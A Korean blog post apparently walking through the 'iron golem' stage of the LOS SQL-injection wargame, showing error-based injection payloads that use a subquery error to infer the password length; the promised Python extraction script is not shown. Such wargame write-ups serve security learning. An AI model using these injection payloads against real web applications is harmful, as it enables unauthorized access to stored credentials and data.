[LOS] iron golem 풀이 (st.21)
Wargame/LOS

[LOS] iron golem 풀이 (st.21)

 

 

풀이

 

이번에는 지금까지 봤던 문제들과는 조금 다르다.

다음 코드를 주목하자.

if(mysqli_error($db)) exit(mysqli_error($db));

이번 문제는 Error Based SQLi인 듯하다.

먼저 다음 쿼리를 넣어 에러를 출력해보자.

 

Query:  ?pw=1'

> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

 

Query를 보내 확실하게 Error Based SQLi인 것을 확인했다.

먼저 에러를 이용해 pw의 길이를 구해보자.

여러분들은 부등호를 이용해 정확한 값을 찾아내자.

 

Query: ?pw=1' or if(length(pw)=32,(select 1 union select 2),1)%23

> Subquery returns more than 1 row

 

이렇게 오류가 뜨면 if문이 참이란 뜻이다.

우린 if문을 통해, pw의 길이가 32자인 걸 알아냈다.

 

이젠, 파이썬을 이용해 정확한 pw값을 알아내자.

코드는 다음과 같다. 역시 대소문자에 유의하자.

 

 

 

 

 

'Wargame > LOS' 카테고리의 다른 글

[LOS] dark eyes 풀이 (st.22)  (0) 2020.05.30
[LOS] dragon 풀이 (st.20)  (0) 2020.05.30
[LOS] skeleton 풀이 (st.10)  (0) 2020.05.29
[LOS] troll 풀이 (st.8)  (0) 2020.05.29
[LOS] darkelf 풀이 (st.6)  (0) 2020.05.29